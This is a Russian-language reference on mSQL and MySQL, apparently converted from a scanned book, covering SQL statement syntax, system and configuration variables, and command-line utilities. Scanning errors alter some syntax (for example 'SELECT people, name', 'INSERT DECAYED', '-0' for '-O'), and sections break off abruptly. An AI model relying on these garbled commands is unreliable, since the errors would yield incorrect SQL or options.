    Стандартное восьмибайтовое число с плавающей запятой. Минимальные ненулевые значения +/-4.94Е-324 и максимальные значения +/- 1.79Е+308.

    ТЕХТ( length)

    Текстовое значение переменной длины. Заданная длина - это максимальное значение для большинства данных, однако могут быть введены и более длинные данные.


    TIME

    Стандартный тип времени.

    UINT

    Стандартное четырехбайтовое беззнаковое целое. Диапазон от 0 до 4294967295.

    В дополнение к основным типам могут быть использованы несколько спецификаторов для уточнения свойств типа:

    length

    Это является максимальной длиной символьного типа. Для типа CHAR это абсолютный максимум, для типа TEXT это приблизительный максимум, применяющийся только к большинству данных. Более длинные данные могут быть введены в поле TEXT, однако это замедлит операции с таблицей.

    NOT NULL

    Указывает, что поле не может содержать нулевое значение. Попытка ввести в это поле такое значение вызовет ошибку.

    Примеры

    # Создать 'простую таблицу

    CREATE TABLE emp_data ( id INT, name CHAR(50) )

    # Добавить счетчик к таблице 'checks' с начальным значением '1000' и # шагом инкрементации по умолчанию (1)

    CREATE SEQUENCE ON checks VALUE 1000

    # Создать индекс для таблицы 'music', включающий в себя

    # поля 'artist','publisher' и 'title'.

    CREATE INDEX idxl O.N music ( artist, publisher, title )

    DELETE

    DELETE FROM table [WHERE clause]

    Удаляет запись из таблицы. Если применяется без предложения WHERE, будет полностью удалена вся таблица, а затем создана новая пустая

    таблица. С использованием WHERE будут удалены записи, отвечающие условиям выражения.

    Примеры

    # Стереть все данные из таблицы 'olddata'(no не саму таблицу). DELETE FROM olddata

    # Стереть все записи в таблице 'sales', в которых поле 'year' равно '1995', DELETE FROM sales WHERE year=1995

    DROP

    DROP INDEX name DROP TABLE name DROP SEQUENCE FROM table

    Полностью удаляет таблицу, индекс или счетчик из системы mSQL.

    MSQLSQLDROP - это, возможно, самое опасное из выражений SQL. Если вы имеете право на выполнение команд DROP, вы можете полностью стереть таблицу или даже целую базу данных. Это произойдет без предупреждения или запроса на подтверждение. Единственный способ отменить DROP - восстановление базы данных из резервной копии. Поэтому следует запомнить два правиле: (1) всегда сохраняйте резервную копию вашей базы (backup); (2) не используйте DROP до тех пор, пока вы полностью не уверены в том, что это необходимо.


    Примеры

    # Удалить таблицу 'oh_no'. DROP TABLE oh_no

    # Удалить индекс с именем 'my_index' DROP INDEX my_index

    # Стереть счетчик для таблицы 'counter'. Другой счетчик может быть

    # создан в любое время с помощью команды 'CREATE SEQUENCE'.

    DROP SEQUENCE FROM counter

    INSERT

    INSERT INTO table [ (column, ...) ] VALUES ( values )

    Записывает данные в таблицу. Этот оператор вставит указанные значения в заданные столбцы. Поля, значения которых не указаны, получат значение NULL. Если вы не зададите список столбцов, число указанных значений должно точно совпадать с числом столбцов в таблице.

    Примеры

    # Добавить запись в таблицу'people'.

    INSERT INTO people ( name, rank, serial_number )

    VALUES ( 'Bob Smith', 'Captain', 12345 )

    SELECT

    SELECT [DISTINCT] columns FROM table [clause]

    Выбирает данные из таблицы. Оператор SELECT является основным методом чтения данных из таблиц баз данных.

    Если вы укажете несколько таблиц, mSQL автоматически объединит таблицы для сравнения записей.

    Если указано ключевое слово DISTINCT, будет показана только одна запись из каждой группы одинаковых записей возвращаемого набора.

    Имена столбцов могут быть указаны как column или как table, column . Длинная форма необходима только для того, чтобы отличать столбцы с одинаковыми именами, но ее можно использовать в любое время (например, SELECT name FROM people; SELECT people, name FROM people ).

    Список таблиц для соединения указывается как Table1, Table2, Tab-1еЗ, .... Таблицы будут соединены таким образом, как mSQL сочтет наиболее эффективным. Именам таблиц могут быть присвоены псевдонимы (например, SELECT t1.name, t2.address FROM Iong_table_name=t1, Ionger_table_name=t2 ). Если не указано выражение clause, SELECT вернет все данные из выбранной таблицы (или таблиц).

    Выражение отбора записей может содержать следующие операторы:

    WHERE

    Конструкция WHERE является основным способом поиска данных в SQL. В конструкции сравниваются два и более значений. Можно использовать значения с именами (такие как имена столбцов и псевдонимы), числовые константы и строки. Поддерживаются следующие операторы:


    AND

    Выполняет логическое И ( вернет 0, если хоть один из аргументов равен 0, иначе вернет 1).

    OR

    Выполняет логическое ИЛИ (возвращает 1, если любой из аргументов не равен 0, иначе возвращает 0).

    ()

    Скобки используются для группировки операторов, чтобы указать старшинство.

    =

    Возвращает 1, если два значения совпадают, иначе вернет 0. mSQL автоматически преобразует типы при сравнении значений.

    <>

    Возвращает 1, если два значения не совпадают, иначе возвращает 0.

    <=

    Возвращает 1, если левое значение меньше или равно правому, иначе возвращает 0.

    <

    Возвращает 1, если левое значение меньше, чем значение справа, иначе возвращает 0.

    >=

    Возвращает 1, если левое значение больше или равно правому, иначе возвращает 0.

    >

    Возвращает 1, если левое значение больше правого, иначе возвращает 0.

    ORDER BY column [DESC][, column2 [DESC],...]

    Сортирует возвращаемые данные по заданному столбцу (или столбцам). Если указать DESC, данные будут отсортированы в порядке убывания, иначе будет использована сортировка по возрастанию (например, SELECT name, age FROM people ORDER BY age DESC ).

    value1 LIKE value2

    Сравнивает valuel и value2 и возвращает 1, если они совпадают. Значение справа может содержать знак подстановки " % ", который заменяет любое количество символов (в том числе и отсутствие символа), и знак '_', замещающий в точности один символ. Это, возможно, наиболее употребительное в SQL сравнение. Чаще всего используется сравнение поля с некоторой строкой, содержащей знак подстановки (например, SELECT name FROM people WHERE name LIKE 'B%' ).

    value1 RLIKE value2

    Сравнивает valuel и value2, используя расширенный синтаксис регулярных выражений, и возвращает 1, если они совпадают. Значение справа может содержать полные подстановочные выражения и конструкции Unix (например, SELECT name FROM people WHERE name RLIKE '^В. *').

    value1 CLIKE value2

    Сравнивает value1 с value2, используя нечувствительную к регистру версию оператора LIKE (например, SELECT name FROM people WHERE name CLIKE 'b%' ).

    Предложение WHERE возвращает все записи, для которых значение заданного выражения не равно 0 или NULL. Таким образом, SELECT age FROM people WHERE age>10 вернет только те записи, где 'ages' больше 10.

    Примеры

    # Найти все имена (пате)в таблице 'people', у которых поле 'state' равно 'МI'. SELECT name FROM people WHERE state='MI' # Показать все данные из таблицы 'mytable'. SELECT * FROM mytable

    UPDATE

    UPDATE table SET column=value, . . . [WHERE clause]

    Изменяет данные в таблице. Используется для обновления существующих данных, не изменяя саму таблицу.

    Пример

    # Изменить имя 'John Deo' на 'John Doe' во всей таблице 'people'. UPDATE people SET name='John Doe' WHERE name='John Deo'

    MySQL SQL

    ALTER/MODIFY

    ALTER [IGNORE] TABLE table ADD [COLUMN] create_clause

    ALTER [IGNORE] TABLE table ADD INDEX [name] (column, . . .)

    ALTER [IGNORE] TABLE table ADD UNIQUE [name] (column, . . .)

    ALTER [IGNORE] TABLE table ALTER [COLUMN] column SET DEFAULT value

    ALTER [IGNORE] TABLE table ALTER [COLUMN] column DROP DEFAULT

    ALTER [IGNORE] TABLE table CHANGE [COLUMN] column create..clause

    ALTER [IGNORE] TABLE table DROP [COLUMN] column

    ALTER [IGNORE] TABLE table DROP FOREIGN KEY key

    ALTER [IGNORE] TABLE table DROP INDEX key

    ALTER [IGNORE] TABLE table DROP PRIMARY KEY

    ALTER [IGNORE] TABLE table MODIFY [COLUMN] create_clause

    ALTER [IGNORE] TABLE table RENAME [AS] new_name

    Оператор ALTER охватывает широкий набор действий, которые изменяют структуру таблицы. Этот оператор используется для добавления, изменения или удаления столбцов существующей таблицы, а также для удаления индексов. Несколько операторов ALTER могут быть объединены в одно предложение с помощью запятых:

    ALTER TABLE mytable DROP myoldcolumn, ADD mynewcolumn INT

    Для модификации таблицы MySQL создает копию таблицы и изменяет ее, выполняя все модифицирующие запросы. Когда все изменения сделаны, старая таблица удаляется, а ее место занимает новая таблица. В этой точке выполняются все поставленные в очередь запросы. В целях безопасности, если какой-либо из запросов создает дублирующие ключи, которые должны быть уникальными, предложение ALTER откатывается и отменяется. Если в предложении присутствует ключевое слово IGNORE, дублированные уникальные ключи игнорируются, и запрос ALTER исполняется как обычно. Имейте в виду, что использование IGNORE для активной таблицы с уникальными ключами может привести к искажению и порче таблицы.

    Как указывалось выше, есть несколько разных, зачастую противоположных действий, выполняемых ALTER:

    ADD [COLUMN] create,clause

    Добавляет новый столбец в таблицу. Выражение create_clause имеет тот же вид, что и используемое в операторе CREATE (см. ниже). Таблица должна существовать и не иметь столбца с тем же именем, что у добавляемого столбца. (Ключевое слово COLUMN необязательно и не имеет эффекта.)


    ADD INDEX [ name] (column , ...)

    Системные переменные MySQL и mSQL

    Для настройки работы MySQL и mSQL могут использоваться некоторые переменные. Многие из них являются переменными окружения, которые наследуются от оболочки пользователя, в то время как другие устанавливаются с помощью командной строки и файлов конфигурации.



    Системные переменные mSQL

    До появления mSQL 2 сконфигурировать систему после инсталляции можно было только через несколько глобальных переменных окружения. Однако mSQL 2.0 использует файл конфигурации, позволяющий производить установку параметров mSQL с гораздо большей гибкостью. Эта часть описывает как переменные окружения, так и специальный файл конфигурации mSQL 2.

    Переменные окружения

    Следующие переменные являются специальными переменными программ mSQL. Они могут быть определены в текущей оболочке или являться частью сценария оболочки.

    MSQL_DEBUG

    Отладочный уровень программы. Число от 0 (нет отладочной информации) до 3 (максимум отладочной информации).

    MSQL_CONF_FILE

    Путь к файлу конфигурации mSQL.

    Кроме того, программы mSQL используют следующие переменные окружения, которые обычно устанавливаются как часть среды Unix:

    USER

    Имя текущего пользователя.

    EDITOR
    VISUAL

    Путь к заданному по умолчанию редактору. Программа msql будет использовать его для редактирования SQL операторов, если ей встретится команда \е.

    Файл конфигурации mSQL

    Файл конфигурации mSQL содержит значения некоторых переменных, которые влияют на работу программ mSQL. По умолчанию он находится в /usr/local/Hughes/msql.conf. Можно изменить это значение в переменной окружения MSQL_CONF_FILE. Файл конфигурации начинается с имени группы, за которым идут переменные этой группы. Ниже пример файла msql.conf:

    [general]

    Inst_Dir = /usr/local/Hughes

    mSQL_User = msql

    Admin_User = root

    Pid_File = %I/msql2d.pid

    TCP_Port =1114

    UNIX_Port = %I/msql2.sock

    [system]

    Msync_Timer = 30 Host_Lookup = True Read_0nly = False

    [w3-msql]

    Auth_Host = NULL Footer = True Force_Private = False

    Секция general влияет на работу всех программ mSQL, сервер баз данных msqld использует секцию system, и секция w3-msql используется системой W3-mSQL, обеспечивающей взаимодействие базы данных с WWW. Когда mSQL читает файлы конфигурации, он заменяет символы %1 на путь к установленной копии mSQL на сервере. Ниже представлены возможные переменные для каждой секции.


    general

    Admin_User

    Имя учетной записи, которой позволено вносить изменения в базу данных mSQL в целом. По умолчанию это root.

    Inst_Dir

    Расположение mSQL. Каждый раз, когда в файле конфигурации встречается символы %1, они заменяются значением данной переменной. Значение по умолчанию - /usr/local/Hughes.

    mSQL_User

    Имя учетной записи, под которой работает демон сервера mSQL. По умолчанию это msql.

    Pid_File

    Расположение файла, содержащего ID процесса (PID) работающего демона mSQL. По умолчанию - %I/msql2d. pid.

    TCP_Port

    В случае программы клиента это номер TCP-порта, используемого для подключения к серверу, для msql2d - это порт, прослушивающий входящие подключения. Значение по умолчанию - 1114.

    UNIX_Port

    Имя файла сокета Unix, используемого для подключения к локальному серверу mSQL (в случае клиентских приложений) либо для обработки локальных подключений (в случае с msql2d). Значение по умолчанию - %I/msql2. sock.

    system

    Host_Lookup

    Если установлено значение 'True', все клиентские подключения должны осуществляться с машин с действующими и проверяемыми именами хостов.

    Msync_timer

    Интервал (в секундах) синхронизации используемых данных, находящихся в RAM, с данными на диске.

    Read_Only

    Если значение этой переменной установлено в 'True', не допускается изменение базы данных. Разрешены только запросы SELECT.

    w3-msql

    Auth_Host

    Имя хоста, содержащего сервер БД с таблицами W3-Auth. Если значение установлено в NULL либо не указано, используется локальный сервер.

    Footer

    Если установлено значение 'True', к каждой странице будет применяться стандартный нижний колонтитул Hughes Technologies.

    Force_Private

    При значении 'True' через W3-mSQL может быть получен доступ только к защищенным W3-Auth страницам. В результате не допускается обработка обычных HTML-файлов через W3-mSQL.

    Системные переменные MySQL

    Переменные окружения MySQL

    Следующие переменные являются специальными переменными MySQL. Они могут быть определены в текущей оболочке или задаваться как часть сценария оболочки. Чтобы установить переменную для демона MySQL (mysqld), определите переменную в используемом для запуска демона сценарии safe_mysqld или определите значения переменных в файле конфигурации MySQL (мы расскажем о нем дальше в этой главе).

    MY_BASEDIR
    MY_BASEDIR_VERSION

    Корневой каталог, содержащий подкаталоги 'bin', 'var' и 'libexec' программы и данные MySQL. Если этой переменной не существует, используется значение по умолчанию (обычно записанное в MySQL как /usr/local). Эти настройки влияют только на программу mysqld.

    MYSQL_DEBUG

    Уровень отладки программы (отладочный уровень). Эта переменная может быть использована с любой программой MySQL. Отладочная библиотека MySQL имеет множество настроек. Список всех доступных опций находится по адресу: http://www.turbolift.com/ туsql/appendixC.html. Самый обычный набор параметров - d: t: о, / tmp/debugfile.

    MYSQL_HOST

    Имя хоста, используемое для связи с удаленным сервером MySQL. Опция может быть использована с любой из клиентских программ MySQL (mysql, mysqlshow, mysqladmin и т. д.).

    MYSQL_PWD

    Пароль, используемый для связи с сервером MySQL. Переменная может быть использована с любой из клиентских программ MySQL.

    Системные переменные MySQLБудьте внимательны при вводе ваших паролей. Обычно при использовании переменных окружения их значение устанавливают в скриптах. Разумеется, использование переменной MYSQL_PWD в скрипте сделает ваш пароль доступным для всех, кто сумеет запустить этот скрипт. Даже установка этой переменной вручную через командную строку делает ее доступной суперпользователю и всем тем, кто может исследовать содержимое системной памяти.

    MYSQL_TCP_PORT

    При использовании вкупе с клиентской программой это будет TCP-порт на удаленной машине, предназначенной для связи с сервером MySQL. Когда используется с программой mysqld, это - номер TCP-порта, прослушивающего входящие соединения.


    MYSQL_UNIX_PORT

    При использовании с клиентской программой - это файл сокета Unix, используемый для связи с сервером MySQL. При использовании с программой mysqld - файл сокета Unix для локальных подключений.

    Кроме того, программы MySQL используют следующие переменные окружения, которые обычно устанавливаются как часть среды Unix.

    EDITOR VISUAL

    Путь к заданному по умолчанию редактору. Программа mysql будет использовать его для редактирования SQL-операторов, если ей встретится команда edit или \е.

    HOME

    Домашний каталог текущего пользователя. LOGIN LOGNAME USER

    Имя текущего пользователя.

    PATH

    Список каталогов, используемых при поиске программ.

    POSIXLY_CORRECT

    Если эта переменная определена, не происходит никакой обработки опций программной строки. В противном случае параметры программной стоки переупорядочиваются таким образом, чтобы сделать возможным использование расширенных опций. Эта переменная может использоваться с любой программой MySQL.

    ТМР TMPDIR

    Каталог, в котором сохраняются временные файлы. Если эта переменная не определена, используется '/tmp '.

    TZ

    Часовой пояс локальной машины.

    UMASK

    Маска, используемая при создании новых файлов.

    Переменные командной строки

    Данные параметры определяются через опции командной строки -0 или -set-variable, которые доступны в большинстве программ MySQL.

    back_log

    Число подключений TCP, которые могут быть поставлены в очередь за один раз. Значение по умолчанию - 5. Эта опция доступна только для mysqld.

    connect _timeout

    Время (в секундах), в течение которого сервер mysqld ожидает пакет подключения, прежде чем ответить сообщением об ошибке соединения (bad handshake).

    decode-bits

    Число бит, используемое для генерирования некоторых внутренних таблиц. Число должно находиться в диапазоне от 4 до 9 (между 4 и 6 в 16-разрядных операционных системах). Значение по умолчанию - 9. Эта опция доступна только для isamchk. Используйте ее лишь при условии, что вы хорошо понимаете структуру таблицы ISAM.


    delayed_insert_limit

    Заставляет обработчик INSERT DELAYED проверять наличие команд SELECT, задержанных при вставке числа записей, указанного в delayed _insert_limit. Если таковые есть, обработчик позволяет выполнить эти команды перед продолжением работы.

    delay ed_insert_timeout

    Как долго поток INSERT DELAYED должен ожидать операцию INSERT перед завершением.

    delayed_queue_size

    Размер очереди (в записях) для обработки INSERT DELAYED. Если очередь переполняется, все клиенты, выполнившие INSERT DECAYED, снова будут ждать, пока появится место в очереди.

    dritebuffer

    Размер буфера, используемый для хранения исходящих данных. Значение по умолчанию - 260 Кбайт. Эта переменная доступна только для isamchk.

    flush_time

    Если переменная определена, все таблицы закрываются каждые flush_time секунд, для того чтобы освободить ресурсы и синхронизировать изменения на диск.

    join_buffer

    Размер буфера при выполнении соединения таблиц. Увеличение параметра может повысить производительность запросов, использующих соединение таблиц. Значение по умолчанию — 130 Кбайт. Эта опция доступна только для mysqld.

    key_buffer_size

    Размер буфера, выделенного для хранения ключей (индексов), к которым недавно осуществлялся доступ. Увеличение этого значения может привести к увеличению скорости работы запросов, осуществляющих повторное использование одних и тех же индексов. Эта опция доступна только для isamchk (где значение по умолчанию равно 0.5 Мбайт) и mysqld (значение по умолчанию 1 Мбайт).

    long_query_time

    Если значение установлено, то slow_queries увеличивается всякий раз, когда запрос занимает больше времени, чем определено в переменной long_query_time (в секундах).

    max_allowed_packet

    Максимальный размер буфера, используемого для хранения входящих данных. Каждое клиентское подключение имеет собственный буфер. Значение по умолчанию 64 Кбайт. Опция доступна только для mysqld.

    max_connect_errors

    Если значение установлено, сервер блокирует дальнейшие подключения с удаленного хоста, когда количество прерванных подключений с удаленного хоста превышает max_connect_errors. Возможно разблокирование хоста с помощью команды FLUSH HOSTS.


    max_Connections

    Максимальное число одновременных клиентских подключений. Значение по умолчанию - 90. Эта опция может использоваться только с mysqld.

    max_delayed_threads

    Количество потоков, обрабатывающих INSERT DELAYED, должно быть не больше значения этой переменной. Если после исчерпания этого лимита клиент попытается использовать INSERT DATA для ввода новых данных, запрос будет обработан, как если бы атрибут DELAYED не был указан?

    max_join_size

    Максимальный размер временной таблицы, создаваемой при соединении таблиц. Значение по умолчанию - 4 Гбайт. Эта опция может использоваться только с mysqld.

    max_sort_length

    Максимальное число символов, используемое при сортировке полей BLOB либо VARCHAR. Значение по умолчанию 1 Кбайт.

    max_tmp_tables

    (Будет реализовано позднее в версии 3.23.) Максимальное количество временных таблиц, которое клиент может открыть одновременно.

    net_buffer_length

    Начальный размер буфера для хранения входящих данных. Каждое клиентское подключение имеет собственный отдельный буфер.

    По умолчанию его размер равен 8 Кбайт. Опция доступна для mysql, mysqld и mysqldump.

    readbuffer

    Размер буфера, используемого для хранения читаемых из файла данных. Значение по умолчанию 260 Кбайт. Опция доступна только для isamchk.

    record_buffer

    Размер буфера, используемого при чтении данных прямо из таблиц, (то есть без использования ключей). Увеличение этого значения может повысить скорость выполнения запросов, не использующих индексы (ключи). По умолчанию значение равно 130 Кбайт. Этот параметр доступен только для mysqld.

    sortbuffer

    Размер буфера, используемого при сортировке данных из таблиц. Значение по умолчанию 1 Мбайт. Опция доступна только для isamchk.

    sort_buffer

    Размер буфера, используемого при сортировке выбранных данных. Увеличение его размера может повысить скорость выполнения запросов, использующих ORDER BY или GROUP BY. По умолчанию значение равно 2 Мбайт. Эта опция доступна только для mysqld.

    sort_key_blocks

    Число блоков ключей (индексных блоков), используемых при сортировке ключей. Значение по умолчанию 16. Эта опция доступна только для isamchk, пользуйтесь ей, если вы хорошо понимаете структуру таблицы ISAM.


    table_cache

    Максимальное число таблиц, которое сервер баз данных может держать открытым одновременно. По умолчанию это 64 таблицы. Опция доступна только для mysqld.

    tmp_table_size

    Максимальный размер временных таблиц, используемых сервером баз данных. Значение по умолчанию - 1 Мбайт. Эта опция доступна только для mysqld.

    thread_stack

    Размер стека памяти для каждого потока. Значение по умолчанию -64 Кбайт. Эта опция доступна только для mysqld.

    wait_timeout

    Количество секунд, в течение которых сервер ожидает активности от подключения, после чего закрывает его.

    Файл конфигурации MySQL

    Начиная с MySQL 3.22, вы можете указать и серверные, и клиентские настройки в текстовом файле конфигурации. Файл имеет разные значения в зависимости от места расположения, но его формат всегда един. Если он хранится в /etc/my.cnf, настройки применяются ко всем серверам MySQL и клиентам на этой машине. Если файл находится в каталоге данных сервера MySQL (например, /usr/local/mysql/data/ my.cnf), то настройки действительны именно для этого сервера MySQL. Наконец, если файл назван .my.cnf (обратите внимание наточку в начале) и расположен в домашнем каталоге пользователя, он применяется ко всем клиентам, запускаемым этим пользователем.

    Формат файла конфигурации похож на формат файлов инициализации Windows. Файл разбит на абзацы (строфы) с групповым именем, заключенным в скобки. После имени группы идет список параметров. Строки комментария начинаются символом "#" или "; ". Каждое имя группы - это название клиентской или серверной программы MySQL, для которой необходимо определить настройки. Специальное групповое имя client, влияет на все клиентские программы MySQL (кроме mysqld).

    Задаваемые в этом файле параметры могут быть любой длины. Они имеют ту же форму, что и параметры к любой команде MySQL, заданные из командной строки (кроме идентификатора параметров "-" (двойная черта)). Ниже приведен пример файла my.cnf для всего сервера.

    [client]

    port=9999

    socket=/dev/mysql

    [mysqld]

    port=9999

    socket=/dev/mysql

    set-variable = join_buffer=1M

    [mysql]

    host=dbhost

    unbuffered



    в себя обширный набор программ

    Программы и утилиты My SQL и mSQL

    MySQL и mSQL включают в себя обширный набор программ и утилит, которые упрощают общение с базой данных. Многие из этих программ адресованы конечным пользователям для чтения и записи данных, а другие предназначены администраторам баз данных для управления и восстановления базы данных в целом.



    Утилиты mSQL

    msql

    msql [options] database

    Монитор командной строки mSQL. Эта программа является основным средством общения с сервером mSQL. SQL-команды можно набирать прямо в командной строке, и результат будет выведен на экран. Команды могут занимать несколько строк. Никаких действий не выполняется, пока не будет введена строка, заканчивающаяся командой на выполнение. . * .

    Команды

    \e

    Редактировать предыдущее предложение с помощью редактора по умолчанию.

    \g

    Послать команду серверу баз данных.



    Вывести текущую команду.

    \q

    Выйти из программы.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.
    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    msql2d

    msq12d [options]

    Демон сервера mSQL. Все остальные программы взаимодействуют с базой данных через этот сервер, поэтому он должен работать постоянно (кроме отключений для обслуживания).

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.

    msqladmin

    msqladmin [options] command

    Выполняет операции, действующие на сервер баз данных в целом. Эта утилита используется для выключения сервера, добавления и удаления целых баз данных и других административных функций.

    Команды

    copy database newdatabase

    Создает точную копию базы данных под другим именем.

    create database

    Создает новую пустую базу данных.

    drop database

    Удаляет базу данных и уничтожает ее содержимое.

    move database newdatabase

    Переименовывает базу данных.

    reload

    Перечитывает файлы конфигурации.
    shutdown

    Выключает сервер баз данных.
    stats

    Показывает статистику сервера баз данных. Среди выдаваемой информации имеются данные о текущих подключениях к базе данных; показывается, какие базы данных используются и каково количество запросов, посланное каждым подключившимся.

    version

    Показывает информацию о версии сервера баз данных.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.
    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q


    Не запрашивать подтверждения команд.

    msqldump

    msqldump [options] database [table]

    Выдает содержимое указанной базы данных (или таблицы базы данных) в виде серии команд ANSI SQL.

    Параметры



    Выводить полные инструкции INSERT.

    -f file

    Использовать альтернативный файл конфигурации.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -t

    Создавать дамп только операторов создания таблиц; не выводить данные.

    -w statement

    Использовать оператор WHERE для ограничения выводимых данных.

    -V

    Показать информацию о процессе, пока создается дамп данных.

    msqlexport

    msqlexport [options] database table

    Выдает содержимое указанной таблицы в формате с разделителями в стиле ASCII.

    Параметры

    -е character

    Использовать character для экранирования любых разделителей, найденных в данных.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q character

    Символ, обрамляющий каждое значение данных.

    -s character

    Символ, используемый для разделения данных.

    -v

    Показать информацию о процессе, пока происходит экспорт данных.

    msq Iimport

    msqlimport [options] database table

    Читает файл с ASCII-разделителями и записывает данные в указанную таблицу.

    Параметры

    -е character

    Символ, используемый как управляющий в файле данных.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q character

    Символ, обрамляющий каждое значение данных.

    -s character

    Символ, используемый для разделения данных.

    -V

    Показать информацию о процессе, пока происходит вставка данных.

    relshow

    relshow [options] [database] [table] [index|_seq]

    Показывает структуру указанной базы данных, таблицы, индекса или последовательности данных. Если не задать аргументов, выдается список всех баз данных. С одним аргументом будет выдана информация о структуре заданной базы данных. С двумя аргументами программа выдаст информацию об указанной таблице. Если указать все три элемента, третий аргумент должен быть либо индексом указанной таблицы, либо _seq, и в этом случае будет выдана информация о последовательности данных таблицы.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    Утилиты MySQL

    isamchk

    isamchk [options] table [table...]

    Выполняет операции на самих табличных файлах (называемых ISAM-файлами из-за индексно-последовательного метода доступа (Indexed Sequential Access Method). Утилита используется для проверки и восстановления файлов, а также для выдачи информации о них. Вы должны указать корректный путь к файлам ISAM, которые хотите проверить. По умолчанию они находятся в /'usr/'local/var/'databasename/tablename.ISM.

    Параметры

    -?, --help

    Вывести информацию об использовании утилиты.

    -# debuglevel, --debug=debuglevel

    Устанавливает отладочный уровень debuglevel. Отладочная библиотека MySQL имеет множество настроек. Полный список параметров доступен по адресу: http://www.turbolift.com/mysql/appen-dixC.html. Обычно используется следующий набор параметров - d:t:o,/tmp/debugfile.

    -a, --analyze

    Анализирует распределение ключей в таблице и вносит изменения, если возможно повышение производительности.

    -d, -description

    Выводит информацию о таблице.
    -е, --extend-check

    Выполняет дополнительную проверку целостности таблицы. После этой операции вы можете быть абсолютно уверены, что ваша таблица в порядке.

    -f, --force

    Заменяет существующие файлы без предупреждения. Также без уведомления восстанавливает поврежденные таблицы.

    -i, --information

    Выводит всю статистику о проверяемой таблице.
    -k=number, -keys-used=number

    Обновляет только указанное число (number) используемых ключей. Этот параметр в основном используется для отключения ключей (-k=0), чтобы добиться ускорения табличных операций, таких как загрузка блоком (bulk load).

    -l, --no-symlinks

    He восстанавливать таблицы с символическими связями.

    -q, --quick

    Ускорить процесс восстановления путем отказа от проверки файла данных.

    -r, --recover

    Выполнить общее восстановление таблицы. Не исправляет дубликаты уникальных ключей.

    -о, --safe-recover

    Использовать старый, более медленный метод восстановления, который может исправить некоторые из повреждений, пропущенных при восстановлении методом <-r>.


    -О, --set-variable

    Установить переменную. См. главу 16 "Системные переменные MySQL и mSQL", где приведен полный список используемых переменных.

    -s, --silent

    Выводить только ошибки.

    -S, --sort-index

    Отсортировать индексный блок таблицы.

    -R=index, --sort-records=index

    Отсортировать записи, используя index.

    -U, --unpack

    Распаковать файл, сжатый с помощьюpack_isam.

    -v, --verbose

    Выводить дополнительную информацию.

    -V, --version

    Вывести информацию о версии.

    -w, --wait

    Если таблица заблокирована, ждать разблокирования. Отсутствие данного параметра приведет к тому, что ismchk прекратит выполнение при обнаружении заблокированной таблицы.

    isamlog

    isamlog [options] [logfile] [table]

    Выводит информацию о журналах ISAM. Журнал ISAM генерируется, если сервер MySQL запущен с параметром -log-isam. Информация из журнала ISAM используется для восстановления поврежденных таблиц с помощью параметра -r. Однако изменение файлов данных напрямую может быть опасным, и перед этим всегда следует резервировать данные.

    Параметры

    -?, -help

    Вывести справочную информацию по использованию утилиты.

    -# debuglevel

    Установить отладочный уровень. Список доступных параметров вы найдете по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -с number

    Проверить только последнее указанное (number) количество команд.

    -f number

    Максимальное число открытых файлов. Когда выполняется восстановление с использованием больших журналов, isamlog может одновременно держать открытыми большое количество таблиц. Если число файловых дескрипторов в вашей системе исчерпывается, этот параметр ограничит число файлов, используемых isamlog. Вместо использования большого количества файлов isamlog будет манипулировать данными между открываемыми файлами и памятью, что приведет к замедлению работы.

    -F directory

    Каталог с файлами журналов ISAM.

    -i

    Выводить дополнительную информацию.

    -о number

    Пропустить указанное число команд перед исследованием журнала.


    -p

    Удалить компоненты из пути к файлам.

    -r

    Игнорировать ошибки при обработке журнала. Этот параметр позволяет восстановить всю информацию из журнала.

    -R datafile recordnumber

    Открыть файл данных ISAM (имя файла заканчивается на .ISM) и выбрать данные, начиная с записи recordnumber.

    -u

    Обновить таблицы, используя информацию из журнала.

    -v

    Вывести дополнительную информацию о процессе.

    -V

    Вывести информацию о версии.

    -w file

    Поместить в файл все записи, найденные с использованием

    -R.

    mysql

    mysql [options] [database]

    Монитор командной строки MySQL. Эта программа является основным способом общения с сервером MySQL. Можно набирать команды SQL прямо в командной строке, и результат будет выведен на экран. Если ввести database, эта база данных автоматически выбирается как текущая.

    Монитор командной строки в работе очень похож на оболочку bash, поскольку использует те же функции GNU, что и bash. Например, вы можете завершить слово с помощью клавиши tab; нажатием Ctrl + a перейти к началу строки или, нажав Ctrl + e, перейти к концу строки; Ctrl + г производит обратный поиск, а нажатие <стрелки вверх> вызывает предыдущую команду.

    Распоряжения могут занимать несколько строк и не выполняться, пока не будет дана команда на выполнение. При использовании команд из полных слов, (go, print и т. д.) команда должна быть введена в строку полностью. Команды с экранированием (\g, \p и т. д.) могут быть использованы в конце любой строки. Точка с запятой может использоваться для завершения команды SQL, так же как и \g.

    Команды

    help, ?, \h

    Показать список команд утилиты.

    clear, \c

    Очистить (игнорировать) текущую команду.

    edit, \e

    Редактировать текущую команду с помощью редактора по умолчанию.

    exit.

    Выйти из программы.

    go, \g, ;

    Послать текущую команду серверу баз данных.

    ego, \G

    Послать текущую команду серверу баз данных и вывести результаты по вертикали.

    print, \p

    Вывести текущую команду.

    quit, \q

    To же, что exit,

    rehash, \#


    Перестроить индекс завершающих терминов.

    status, \s

    Показать информацию о сервере и текущей сессии.

    use, \u

    Выбрать другую базу данных.

    Параметры

    -?, -help

    Вывести информацию об использовании утилиты.

    -# debuglevel. -debug=debuglevel

    Устанавливает отладочный уровень. Полный список параметров доступен по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -A, --no-auto-rehash.

    Не хэшировать заново данные из базы в автоматическом режиме.

    -В, -batch

    Выводить результаты в пакетном ('batch') режиме. Это приведет к выводу информации с минимумом форматирования, что позволит легко использовать эту информацию в других приложениях баз данных.

    -е statement, -execute=statement

    Выполнить указанную команду и завершить программу. Автоматически применяет параметр -В.

    -f, --force

    Не останавливать обработку при обнаружении ошибки SQL.

    -h host, -host=host

    Подключиться к базе данных на указанном хосте.

    -п, -unbuffered

    Не производить буферизацию между запросами.

    -О variable=value, -set-variable variable=value

    Установить переменную. См. главу 16, где приведен полный список используемых переменных.

